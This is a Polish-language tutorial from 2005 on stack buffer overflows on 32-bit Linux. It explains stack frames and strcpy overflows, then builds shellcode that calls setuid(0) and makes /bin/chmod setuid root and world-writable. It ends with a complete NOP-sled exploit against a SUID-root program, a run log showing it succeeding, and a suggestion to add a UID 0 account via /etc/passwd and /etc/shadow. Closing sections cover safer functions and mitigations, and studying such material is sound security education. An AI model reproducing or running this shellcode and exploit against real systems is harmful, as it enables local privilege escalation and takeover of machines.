Odkrywanie przepełnień bufora
Napisał: Marcin Ulikowski
08/12/2005 w Bezpieczeństwo Brak komentarzy. (artykuł nr 11, ilość słów: 3610)
(root@osiris ~)# uname -srmp Linux 2.4.26 i586 Pentium_MMX (root@osiris ~)# gcc --version 2.95.4
B
uffer overflow, czyli przepełnienie bufora zachodzi wówczas gdy chcemy umieścić w buforze więcej danych niż może on pomieścić. Dane które nie mieszczą się w buforze nadpisują stos. Teraz rodzi się pytanie czym jest stos? Stos jest to ciągły blok pamięci. Jego dno (początek) ma zawsze stały adres. Rozmiar stosu jest dynamicznie zmieniany w czasie wykonywania programu. Stos można porównać do stosu talerzy, do którego dokłada się nowe talerze wyłącznie z góry i z którego pobiera się talerze również tylko z góry. Tak więc ostatni obiekt położony na stosie będzie pierwszym jaki zostanie z niego zdjęty. Procesor zawiera instrukcje PUSH, aby położyć coś na wierzchołek stosu, oraz POP aby coś z niego zdjąć. Stos może rosnąć “w dół” (niższe adresy pamięci) lub “w górę”. W procesorach Intela i z nim kompatybilnych stos rośnie w kierunku niższych adresów pamięci. Wskaźnik stosu ESP (Extended Stack Pointer), przechowywany w 32 bitowym rejestrze, wskazuje adres wierzchołka stosu. Rejestry są kilku bajtową pamięcią wbudowaną do procesora, do których ma on bardzo szybki dostęp. Większość rejestrów może być modyfikowana, czyli możemy je porównać do zmiennych. Właściwość rejestru ESP zostanie wykorzystana w dalszej części tego dokumentu.
Każdy proces w pamięci składa się (w uproszczeniu) z trzech segmentów: Text, Data oraz Stack.
wyższe adresy pamięci +-------------------+ | Stack | +-------------------+ | Data | +-------------------+ | Text | +-------------------+ niższe adresy pamięci
W skład segmentu tekstu wchodzą instrukcje programu i dane tylko do odczytu. Zapis do tego segmentu wywoła błąd segmentacji. Segment danych zawiera zainicjowane i niezainicjowane zmienne programu:
int i; /* umieszczona zostanie w części zmiennych niezainicjowanych */ int i = 1; /* ta natomiast w części zmiennych zainicjowanych */
Rozmiar segmentu danych w zależności od potrzeb może zostać zmieniony. Właściwości stosu zostały juz omówione wyżej. Teraz interesuje nas co zawiera ten segment.
Języki wysokiego poziomu takie jak C opierają się w znacznej mierze na procedurach i funkcjach. Procedury, funkcje oraz pętle są stosowane dla oszczędności pamięci, aby nie umieszczać tego samego fragmentu kodu kilkaset razy w pamięci. Kiedy funkcja przejmuje kontrolę na stosie kładziona jest ramka stosu, która zawiera zmienne lokalne, parametry dla funkcji, adres powrotny EIP (Extended Intruction Pointer) oraz dane potrzebne do odtworzenia poprzedniej ramki. Adres powrotny jest to adres pamięci z którego nastąpił skok do aktualnie wykonywanej funkcji. Na początku kodu każdej funkcji znajdują się dwie charakterystyczne instrukcje zwane “prologiem funkcji” bądź też “ustawianiem ram stosu”:
pushl %ebp movl %esp,%ebp
Prolog funkcji ma za zadanie zachowanie “starego” ESP, aby po zakończeniu pracy funkcji mógł zostać odtworzony. Najpierw umieszczany jest na stosie EBP, a następnie kopiowany jest do niego ESP. Kiedy funkcja “powraca”, adres z EBP jest z powrotem kopiowany do ESP, a EBP zdejmowany jest ze stosu.
void function(void) { int i; /* zmienna ta zostanie umieszczona na stosie podczas wykonywania funkcji, a po jej zakończeniu zostanie ze stosu usunięta */ for (i = 0; i < 16; i++) printf("%d\n", i); }
Jeśli podczas wykonywania funkcji nastąpi przepełnienie bufora dane nadpiszą stos i bardzo możliwe że EIP (adres gdzie funkcja ma przekazać kontrolę). Kiedy funkcja zakończy pracę odczytany zostanie EIP, który został zamieniony na fałszywy i program skoczy do innego adresu pamięci. Na ekranie prawdopodobnie zobaczymy napis "Segmentation fault". Adresy powrotne przechowuje się na stosie za pomocą rozkazów skoku CALL. Powrót do przerwanego programu głównego realizuje się za pomocą rozkazu RET.
Najprostszy przykład pokazujący jak wygląda przepełnienie bufora, znajduje się poniżej:
(elceef@osiris ~)$ cat prog.c #include <string.h> void function(char *arg) { char small_buff[64]; strcpy(small_buff, arg); } int main(void) { char large_buff[128]; memset(large_buff, 0x78, sizeof(large_buff)); function(large_buff); return 0; }
Widać tutaj, że funkcja function() kopiuje dwa razy większy large_buff[] do small_buff[] używając strcpy() zamiast bezpieczniejszej strncpy(). Zobaczmy co się stanie, gdy uruchomimy ten program:
(elceef@osiris ~)$ gcc prog.c -o prog (elceef@osiris ~)$ gdb -q prog (gdb) run Starting program: /home/elceef/prog Program received signal SIGSEGV, Segmentation fault. 0x78787878 in ?? () (gdb) info registers ebp eip ebp 0x78787878 0x78787878 eip 0x78787878 0x78787878
Tak jak założyliśmy. EIP został nadpisany przez dane z bufora large_buff[]. large_buff[] zawiera numery kodu ASCII dla znaku ‘x’ – hex 0x78, tak więc EIP zmienił wartość na 0x78787878 (EIP jest rejestrem 32 bitowym). Adres ten wskazuje na komórkę poza przestrzenią adresową procesu “prog”, więc kiedy chce odczytać następną instrukcję, otrzymujemy “Segmentation fault”. Sprawdźmy co się stanie gdy zastosujemy zamiast funkcji strcpy() jej bezpieczny odpowiednik strncpy(). Poniżej poprzedni kod tylko lekko poprawiony:
(elceef@osiris ~)$ cat prog.c #include <string.h> void function(char *arg) { char small_buff[64]; strncpy(small_buff, arg, sizeof(small_buff)); } int main(void) { char large_buff[128]; memset(large_buff, 0x78, sizeof(large_buff)); function(large_buff); return 0; } (elceef@osiris ~)$ gcc prog.c -o prog (elceef@osiris ~)$ ./prog (elceef@osiris ~)$
Jak widać strncpy() pozwoliła na skopiowanie tylko 64 bajtów danych z tablicy large_buff[] co uchroniło nas przed nadpisaniem danych na stosie.
Przekonaliśmy się, że przy pomocy prostego programu jesteśmy w stanie zmienić EIP. Daje nam to możliwość skoczenia do miejsca w pamięci gdzie znajduje się “podrzucony” przez nas kod, który chcemy wykonać. Należy jednak pamiętać że owy kod musi się znajdować w przestrzeni adresowej procesu, aby ponownie nie otrzymać błędu segmentacji. Kod który chcemy podrzucić nosi nazwę shellcode, ponieważ najczęściej uruchomia dla nas powłokę z której dalej możemy wykonywać inne programy. Shellcode może być przechowywany w zwykłym buforze znakowym – są to gotowe do wykonania instrukcje. Wraz ze zmianą systemu czy architektury, będziemy musieli stosować inny shellcode. Napiszemy shellcode który nada odpowiednie prawa dostępu dla /bin/chmod tym samym umożliwiając nam przejęcie kontroli nad systemem:
(elceef@osiris ~)$ cat chmod.c #include <unistd.h> int main(void) { /* -rwsrwxrwx */ chmod("/bin/chmod", 04777); return 0; } (elceef@osiris ~)$ gcc chmod.c -static (elceef@osiris ~)$ gdb -q a.out (gdb) disas main Dump of assembler code for function main: 0x80481d0 <main>: push %ebp 0x80481d1 <main+1>: mov %esp,%ebp 0x80481d3 <main+3>: sub $0x8,%esp 0x80481d6 <main+6>: add $0xfffffff8,%esp 0x80481d9 <main+9>: push $0x9ff 0x80481de <main+14>: push $0x808c368 0x80481e3 <main+19>: call 0x804c250 <__chmod> 0x80481e8 <main+24>: add $0x10,%esp 0x80481eb <main+27>: xor %eax,%eax 0x80481ed <main+29>: jmp 0x80481f0 <main+32> 0x80481ef <main+31>: nop 0x80481f0 <main+32>: mov %ebp,%esp 0x80481f2 <main+34>: pop %ebp 0x80481f3 <main+35>: ret 0x80481f4 <main+36>: lea 0x0(%esi),%esi 0x80481fa <main+42>: lea 0x0(%edi),%edi End of assembler dump. Dump of assembler code for function __chmod: 0x804c250 <__chmod>: mov %ebx,%edx 0x804c252 <__chmod+2>: mov 0x8(%esp,1),%ecx 0x804c256 <__chmod+6>: mov 0x4(%esp,1),%ebx 0x804c25a <__chmod+10>: mov $0xf,%eax 0x804c25f <__chmod+15>: int $0x80 0x804c261 <__chmod+17>: mov %edx,%ebx 0x804c263 <__chmod+19>: cmp $0xfffff001,%eax 0x804c268 <__chmod+24>: jae 0x8051c70 <__syscall_error> 0x804c26e <__chmod+30>: ret End of assembler dump. (gdb) x/s 0x808c368 0x808c368 <_IO_stdin_used+4>: "/bin/chmod" (gdb) q
Oto czego potrzebujemy, aby napisać nasz shellcode:
- wartość 0x9ff (równa 04777 oct) w rejestrze ECX
- ciąg “/bin/chmod” umieszczony gdzieś w pamięci
- adres do ciągu “/bin/chmod” w rejestrze EBX
- wartość 0xf w EAX (numer wywołania systemowego dla chmod)
- wywołać przerwanie 0x80 aby przejść w tryb jądra
Musimy pamiętać, że gotowy shellcode nie może zawierać znaku ‘\0’ który oznacza koniec bufora, inaczej nasz shellcode zostanie “ucięty” w czasie kopiowania.
(elceef@osiris ~)$ cat chmod-asm.c int main(void) { __asm__(" xorl %ecx,%ecx leal 0xf(%ecx),%eax pushl %ecx movw $0x9ff,%cx pushl $0x646f6d68 pushl $0x632f2f6e pushl $0x69622f2f mov %esp,%ebx int $0x80 "); return 0; }
Powyższy kod to shellcode w postaci gotowych instrukcji inline assemblera gcc, ale o co chodzi?
Zerujemy rejestr ECX (koniecznie instrukcją xorl, aby uniknąć znaków NUL),
xorl %ecx,%ecx
Umieszczamy w rejestrze EAX numer wywołania chmod() używając instrukcji leal,
leal 0xf(%ecx),%eax
Umieszczamy znak NUL na stosie (ECX ma wartość 0),
pushl %ecx
Umieszczamy wartość 0x9ff w CX (używamy instrukcji movw oraz rejestru CX, ponieważ operujemy liczbą 2-bajtową),
movw $0x9ff,%cx
Umieszczamy na stosie ciąg “//bin//chmod” (zauważ że w odwrotnej kolejności ponieważ jak już wiesz stos rośnie w kierunku niższych adresów; ponadto jego długość jest wielokrotnością liczby 4 czyli 32bitów, aby pozbyć się znaków NUL) który jest zakończony 0 (wcześniej położyliśmy na stosie ECX),
pushl $0x646f6d68 pushl $0x632f2f6e pushl $0x69622f2f
Kopiujemy adres wierzchołka stosu (z rejestru ESP) do rejestru EBX, ponieważ rejestr ESP zawiera teraz adres ciągu “//bin//chmod”,
mov %esp,%ebx
Wywołujemy przerwanie 0x80, aby przejść w tryb jądra.
int $0x80
Dobrze, teraz przetłumaczmy instrukcje na gotowy do wykonania kod binarny.
(elceef@osiris ~)$ gcc chmod-asm.c (elceef@osiris ~)$ objdump -d a.out |grep -A 11 \<main\> 080483d0 <main>: 80483d0: 55 push %ebp 80483d1: 89 e5 mov %esp,%ebp 80483d3: 31 c9 xor %ecx,%ecx 80483d5: 8d 41 0f lea 0xf(%ecx),%eax 80483d8: 51 push %ecx 80483d9: 66 b9 ff 09 mov $0x9ff,%cx 80483dd: 68 68 6d 6f 64 push $0x646f6d68 80483e2: 68 6e 2f 2f 63 push $0x632f2f6e 80483e7: 68 2f 2f 62 69 push $0x69622f2f 80483ec: 89 e3 mov %esp,%ebx 80483ee: cd 80 int $0x80
Tak ostatecznie wygląda nasz shellcode po dodaniu kodu dla setuid(0).
(elceef@osiris ~)$ cat chmod-sh.c /* Linux/IA32 chmod shellcode by elceef */ char shellcode[] = "\x31\xdb" /* xorl %ebx,%ebx */ "\x8d\x43\x17" /* leal 0x17(%ebx),%eax */ "\xcd\x80" /* int $0x80 */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x8d\x41\x0f" /* leal 0xf(%ecx),%eax */ "\x51" /* pushl %ecx */ "\x66\xb9\xff\x09" /* movw $0x9ff,%cx */ "\x68\x68\x6d\x6f\x64" /* pushl $0x646f6d68 */ "\x68\x6e\x2f\x2f\x63" /* pushl $0x632f2f6e */ "\x68\x2f\x2f\x62\x69" /* pushl $0x69622f2f */ "\x89\xe3" /* movl %esp,%ebx */ "\xcd\x80" /* int $0x80 */ "\xb0\x01" /* movb $0x1,%al */ "\xcd\x80"; /* int $0x80 */ int main(void) { void(*f)()=(void*)shellcode;f(); return 0; }
Przykładowy program, podatny na przepełnienie bufora z użyciem strcpy(). Zakładamy że binaria mają ustawiony bit SUID, właścicielem jest root oraz że mamy prawa do wykonywania.
(elceef@osiris ~)$ cat target.c #include <string.h> void destruction(char *arg) { char buffer[512]; strcpy(buffer, arg); } int main(int argc, char *argv[]) { if (argc > 1) destruction(argv[1]); return 0; } (elceef@osiris ~)$ ls -al target -rwsr-x--x 1 root root 14114 Nov 21 20:43 target*
Wystarczy, że argv[1] będzie dłuższe od tablicy buffer[]. Kiedy destruction() będzie “wracać”, odczyta podmieniony przez nas adres powrotny. Spróbujemy napisać exploit, który przyzna nam powłokę. Podsumujmy nasze wiadomości:
- shellcode musi być częścią bufora, który przepełniamy, aby znalazł się w pamięci i mógł być wykonany,
- przepełniany bufor wypełniony będzie ponadto adresem do którego chcemy “skoczyć”, a który wskazuje do naszego kodu (mamy nadzieję że ta część bufora nadpisze EIP),
- dane którymi przepełniamy bufor muszą być od niego odpowiednio dłuższe,
- musimy znać dokładny adres shellcode w pamięci.
Długość użytego bufora zależy od tego co jest położone na stosie. W przypadku funkcji destruction() jest to jedynie tablica znaków o długości 512 bajtów. Wcześniej znajduje się zachowany rejestr ESP oraz EIP. Oba mają 32 bity długości czyli łącznie 8 bajtów. 512 + 8 = 520 co jest w tym przypadku minimalną długością bufora, jaką musimy użyć aby nadpisać adres powrotny. Zobaczmy jak wygląda segment stosu po wywołaniu funkcji destruction() (po uruchomieniu exploita):
+------------+ | . | | . | | . | |___*arg_____| EBP+524 |____EIP_____| EBP+4 |____EBP_____| EBP (zachowany ESP) |__buffer[]__| EBP-512 | . | | . | | . | +------------+
Kiedy skopiujemy do zmiennej buffer[] o 4 bajty danych za dużo (512 + 4 = 516), nadpiszemy EBP. Jeśli skopiujemy o 8 bajtów danych za dużo (512 + 8 = 520) to nadpiszemy EBP i EIP czyli zmienimy adres powrotny funkcji.
Pozostaje problem z adresem shellcode w pamięci. Adres ten będzie wskazywał gdzieś niedaleko ESP naszego exploita. Możemy próbować odejmować od niego pewne wartości w nadziei, że pod wynikiem naszego działania znajdziemy nasz kod. W zależności od tego jak dużo danych jest na stosie, musimy wykonać kilkaset strzałów aby trafić w ten właściwy. Jest jednak sposób, aby znacznie zwiększyć szanse. Wykorzystamy instrukcje NOP. Na pewno ją zauważyłeś podczas pracy z gdb.
Instrukcja ta nic nie robi i jest idealnym “wypełniaczem”. Ma długość jednego bajta i jej opcode to 0x90. Pierwsze 471 z 520 bajtów naszego buforu zapełnimy właśnie instrukcjami NOP, w dalszych 41 bajtach umiescimy shellcode, pozostałe 8 bajtów zapełnimy adresem, którym nadpiszemy EIP na stosie. Im większy przepełniany bufor tym lepiej, ponieważ możemy wpakować więcej instrukcji NOP. *argv[1] bedzie wygladal teraz w ten sposob:
+----------------------------------------------+ | 471 bajtów NOP 0x90 | shellcode 41B | RET 8B | +----------------------------------------------+ 0 520
Teraz wystarczy tylko trafić w obszar pamięci gdzie znajdują się instrukcje NOP, co zwiększy nasze szanse 471 razy. Intrukcje NOP bedą wykonywane, aż dojdziemy do naszego kodu. Poniżej źrodło exploita:
(elceef@osiris ~)$ cat exploit.c /* brzydki i niewygodny exploit, ale dobry do nauki ;) */ #include <stdio.h> #include <stdlib.h> #define BUFF_SIZE 520 char shellcode[] = "\x31\xdb" /* xorl %ebx,%ebx */ "\x8d\x43\x17" /* leal 0x17(%ebx),%eax */ "\xcd\x80" /* int $0x80 */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x8d\x41\x0f" /* leal 0xf(%ecx),%eax */ "\x51" /* pushl %ecx */ "\x66\xb9\xff\x09" /* movw $0x9ff,%cx */ "\x68\x68\x6d\x6f\x64" /* pushl $0x646f6d68 */ "\x68\x6e\x2f\x2f\x63" /* pushl $0x632f2f6e */ "\x68\x2f\x2f\x62\x69" /* pushl $0x69622f2f */ "\x89\xe3" /* movl %esp,%ebx */ "\xcd\x80" /* int $0x80 */ "\xb0\x01" /* movb $0x1,%al */ "\xcd\x80"; /* int $0x80 */ unsigned long get_esp() { __asm__ ("movl %esp,%eax"); } int main(int argc, char *argv[]) { char buffer[BUFF_SIZE]; int offset, i; /* jeśli uruchomimy exploit z parametrem ustaw offset */ if (argc==2) offset = atoi(argv[1]); /* w innym przypadku offset = 0 */ else offset = 0; /* wyświetl adres którym nadpiszemy EIP */ printf("RET address: 0x%x\n", get_esp() + offset); /* wypełnij bufor adresem do którego skoczymy po powrocie z funkcji */ for (i = 0; i < BUFF_SIZE; i += 4) *(long *)&buffer[i] = get_esp() + offset; /* wypełnij bufor instrukcjami NOP (520-41-8) */ memset(buffer, 0x90, sizeof(buffer) - strlen(shellcode) - 8); /* wypełnij bufor kodem w miejscu gdzie kończą się intrukcje NOP */ memcpy(buffer + sizeof(buffer) - strlen(shellcode) - 8, shellcode, strlen(shellcode)); /* uruchom program z parametrem którym będzie nasz bufor */ execl("./target", "target", buffer, 0); return 0; }
Nasz exploit pobiera jako parametr offset od ESP naszego exploita (nie jest to ESP podatnego programu!) - dzięki temu wyliczy adres powrotny wskazujący gdzieś do ciągu intrukcji NOP, czyli do naszego shellcode.
(elceef@osiris ~)$ gcc exploit.c -o exploit (elceef@osiris ~)$ ./exploit 100 RET address: 0xbffff838 Illegal instruction (elceef@osiris ~)$ ./exploit 200 RET address: 0xbffff89c Illegal instruction (elceef@osiris ~)$ ./exploit 300 RET address: 0xbffff900 Segmentation fault (elceef@osiris ~)$ ./exploit 400 RET address: 0xbffff964 (elceef@osiris ~)$ ls -l /bin/chmod -rwsrwxrwx 1 root root 16732 2002-10-29 /bin/chmod (elceef@osiris ~)$
Exploit zadziałał. Teraz wszystko zależy od naszej wyobraźni. Dla przykładu możemy dodać nowego użytkownika z UID 0 poprzez nadanie sobie praw do odczytu i zapisu /etc/passwd oraz /etc/shadow.
Oto nazwy funkcji do kopiowania, dodawania, pobierania ciągów znakowych bez sprawdzania granic: strcpy(), strcat(), gets(), sprintf(), scanf(). Niebezpieczne mogą być także funkcje getc(), getchar(), fgetc() jeśli stosowane są w pętlach (do bufora czytane są znaki aż do końca linii lub innej granicy).
Powstalo wiele propozycji zapobiegnia przepełnieniom bufora: modyfikacja kompilatora C, losowe liczby przed EIP, programy kontrolujące zmienne środowiskowe i argumenty. Wszystkie one mają przynajmniej jedną poważną wadę: spowolnione działanie programu. Najlepszym rozwiązaniem wydaje się być pisanie bezpiecznych i poprawnych programów. Pisać bezpieczne programy znaczy korzystać z funkcji, które sprawdzają rozmiar bufora, na którym operują np. strncpy() czy snprintf(). Jednak używanie bezpiecznych funkcji nie gwarantuje jeszcze bezpieczeństwa całego programu – trzeba przy tym zachować duzą ostrożność, a niewątpliwie jest to trudne.
Warto też wspomnieć o opcji niewykonywalnego stosu, oferowanej przez patche na jądro (Openwall, grsecurity). Niestety (albo na szczęście – jak kto woli)
znaleziono kilka sposobów na obejście tego zabezpieczenia.
Więcej informacji: man gdb, man gcc